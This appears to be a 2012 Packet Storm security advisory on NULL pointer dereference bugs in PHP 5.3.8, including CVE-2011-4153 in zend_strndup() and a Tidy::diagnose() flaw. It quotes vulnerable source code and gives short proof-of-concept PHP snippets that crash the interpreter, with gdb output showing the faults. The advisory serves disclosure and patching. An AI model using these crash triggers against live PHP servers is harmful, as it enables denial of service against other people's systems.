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Maksymilian ArciemowiczPACKETSTORM:108684
HistoryJan 15, 2012 - 12:00 a.m.

PHP 5.3.8 NULL Pointer Dereference

2012-01-1500:00:00
Maksymilian Arciemowicz
packetstormsecurity.com
29

0.039 Low

EPSS

Percentile

91.0%

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
[ PHP 5.3.8 Multiple vulnerabilities ]  
  
Author: Maksymilian Arciemowicz  
Website: http://cxsecurity.com/  
Date: 14.01.2012  
  
CVE:  
CVE-2011-4153 (zend_strndup)  
  
Original link:  
http://cxsecurity.com/research/103  
  
  
[--- 1. Multiple NULL Pointer Dereference with zend_strndup()  
[CVE-2011-4153] ---]  
As we can see in zend_strndup()  
  
- -zend_alloca.c---  
ZEND_API char *zend_strndup(const char *s, uint length)  
{  
char *p;  
  
p = (char *) malloc(length+1);  
if (UNEXPECTED(p == NULL)) {  
return p; <=== RETURN NULL  
}  
if (length) {  
memcpy(p, s, length);  
}  
p[length] = 0;  
return p;  
}  
- -zend_alloca.c---  
  
zend_strndup() may return NULL  
  
in php code, many calls to zend_strndup() dosen't checks returned  
values. In result, places like:  
  
- -zend_builtin_functions.c---  
ZEND_FUNCTION(define)  
{  
char *name;  
int name_len;  
zval *val;  
zval *val_free = NULL;  
zend_bool non_cs = 0;  
int case_sensitive = CONST_CS;  
zend_constant c;  
  
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sz|b", &name,  
&name_len, &val, &non_cs) == FAILURE) {  
return;  
}  
...  
c.flags = case_sensitive; /* non persistent */  
c.name = zend_strndup(name, name_len); <======== MAY RETURN NULL  
c.name_len = name_len+1;  
c.module_number = PHP_USER_CONSTANT;  
if (zend_register_constant(&c TSRMLS_CC) == SUCCESS) {  
RETURN_TRUE;  
} else {  
RETURN_FALSE;  
}  
}  
- -zend_builtin_functions.c---  
  
- -PoC code---  
[cx@82 /www]$ ulimit -a  
socket buffer size (bytes, -b) unlimited  
core file size (blocks, -c) unlimited  
data seg size (kbytes, -d) 524288  
file size (blocks, -f) unlimited  
max locked memory (kbytes, -l) unlimited  
max memory size (kbytes, -m) 40000  
open files (-n) 11095  
pipe size (512 bytes, -p) 1  
stack size (kbytes, -s) 65536  
cpu time (seconds, -t) unlimited  
max user processes (-u) 5547  
virtual memory (kbytes, -v) 40000  
swap size (kbytes, -w) unlimited  
[cx@82 /www]$ cat define.php  
<?php  
define(str_repeat("A",$argv[1]),"a");  
?>  
- -PoC code---  
  
to see difference  
  
[cx@82 /www]$ php define.php 8999999  
Out of memory  
[cx@82 /www]$ php define.php 9999999  
Segmentation fault: 11  
  
(gdb) bt  
#0 0x28745eb0 in strrchr () from /lib/libc.so.7  
#1 0x0822d538 in zend_register_constant (c=0xbfbfcfb0)  
at /usr/ports/lang/php5/work/php/Zend/zend_constants.c:429  
#2 0x08251e0e in zif_define (ht=2, return_value=0x28825a98,  
return_value_ptr=0x0, this_ptr=0x0, return_value_used=0)  
at /usr/ports/lang/php5/work/php/Zend/zend_builtin_functions.c:688  
#3 0x0826dba6 in zend_do_fcall_common_helper_SPEC  
(execute_data=0x29401040)  
at zend_vm_execute.h:316  
  
  
There are others places, where zend_strndup() is used:  
  
- -1--  
ext/soap/php_sdl.c  
if (sdl->is_persistent) {  
new_enc->details.ns = zend_strndup(ns, ns_len);  
new_enc->details.type_str = strdup(new_enc->details.type_str);  
} else {  
new_enc->details.ns = estrndup(ns, ns_len);  
new_enc->details.type_str = estrdup(new_enc->details.type_str);  
}  
- -1--  
  
- -2--  
ext/standard/syslog.c  
BG(syslog_device) = zend_strndup(ident, ident_len);  
openlog(BG(syslog_device), option, facility);  
RETURN_TRUE;  
- -2--  
  
- -3--  
ext/standard/browscap.c  
} else { /* Other than true/false setting */  
Z_STRVAL_P(new_property) = zend_strndup(Z_STRVAL_P(arg2),  
Z_STRLEN_P(arg2));  
Z_STRLEN_P(new_property) = Z_STRLEN_P(arg2);  
}  
new_key = zend_strndup(Z_STRVAL_P(arg1), Z_STRLEN_P(arg1));  
zend_str_tolower(new_key, Z_STRLEN_P(arg1));  
zend_hash_update(Z_ARRVAL_P(current_section), new_key,  
Z_STRLEN_P(arg1) + 1, &new_property, sizeof(zval *), NULL);  
free(new_key);  
- -3--  
  
- -4--  
ext/oci8/oci8.c  
if (alloc_non_persistent) {  
connection = (php_oci_connection *) ecalloc(1,  
sizeof(php_oci_connection));  
connection->hash_key = estrndup(hashed_details.c, hashed_details.len);  
connection->is_persistent = 0;  
} else {  
connection = (php_oci_connection *) calloc(1,  
sizeof(php_oci_connection));  
connection->hash_key = zend_strndup(hashed_details.c,  
hashed_details.len);  
connection->is_persistent = 1;  
}  
- -4--  
  
- -5--  
ext/com_dotnet/com_typeinfo.c  
const_name = php_com_olestring_to_string(bstr_ids, &c.name_len,  
codepage TSRMLS_CC);  
c.name = zend_strndup(const_name, c.name_len);  
efree(const_name);  
c.name_len++; /* include NUL */  
SysFreeString(bstr_ids);  
  
/* sanity check for the case where the constant is already defined */  
if (zend_get_constant(c.name, c.name_len - 1, &exists TSRMLS_CC)) {  
if (COMG(autoreg_verbose) && !compare_function(&results,  
&c.value, &exists TSRMLS_CC)) {  
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Type library  
constant %s is already defined", c.name);  
}  
free(c.name);  
ITypeInfo_ReleaseVarDesc(TypeInfo, pVarDesc);  
continue;  
}  
- -5--  
  
- -6--  
main/php_open_temporary_file.c  
/* On Unix use the (usual) TMPDIR environment variable. */  
{  
char* s = getenv("TMPDIR");  
if (s && *s) {  
int len = strlen(s);  
  
if (s[len - 1] == DEFAULT_SLASH) {  
temporary_directory = zend_strndup(s, len - 1);  
} else {  
temporary_directory = zend_strndup(s, len);  
}  
  
return temporary_directory;  
}  
- -6--  
  
  
[--- 2. Tidy::diagnose() NULL pointer dereference ---]  
Class tidy, may provide to null pointer dereference using tidy lib.  
  
1287 static PHP_FUNCTION(tidy_diagnose)  
1288 {  
1289 TIDY_FETCH_OBJECT;  
1290   
1291 if (tidyRunDiagnostics(obj->ptdoc->doc) >= 0) {  
1292 tidy_doc_update_properties(obj TSRMLS_CC);  
1293 RETURN_TRUE;  
1294 }  
1295   
1296 RETURN_FALSE;  
1297 }  
  
- -PoC---  
(gdb) r -r '$nx=new Tidy("*");$nx->diagnose();'  
The program being debugged has been started already.  
Start it from the beginning? (y or n) y  
  
Starting program: /usr/bin/php -r '$nx=new Tidy("*");$nx->diagnose();'  
[Thread debugging using libthread_db enabled]  
PHP Warning: tidy::__construct(): Cannot Load '*' into memory in  
Command line code on line 1  
  
Program received signal SIGSEGV, Segmentation fault.  
0x00007fffedfaff87 in prvTidyReportMarkupVersion ()  
from /usr/lib/libtidy-0.99.so.0  
- -PoC---  
  
- -Result---  
cx@cx64:~$ php -r '$nx=new Tidy("*");$nx->diagnose();'  
PHP Warning: tidy::__construct(): Cannot Load '*' into memory in  
Command line code on line 1  
Segmentation fault  
- -Result---  
  
I do not consider this vulnerability as a having security impact other  
as DoS.  
  
[--- 3. Contact ---]  
Author: Maksymilian Arciemowicz  
Email: max {AA\TT cxsecurity |D|0|T] com  
http://cxsecurity.com/  
  
GPG:  
http://cxsecurity.com/office.cxsecurity.txt  
  
  
- --   
Best Regards  
Maksymilian Arciemowicz (CXSecurity.com)  
pub 4096R/D6E5B530 2010-09-19  
uid Maksymilian Arciemowicz (cx) <max@cxib.net>  
sub 4096R/58BA663C 2010-09-19  
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`
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0.039 Low

EPSS

Percentile

91.0%

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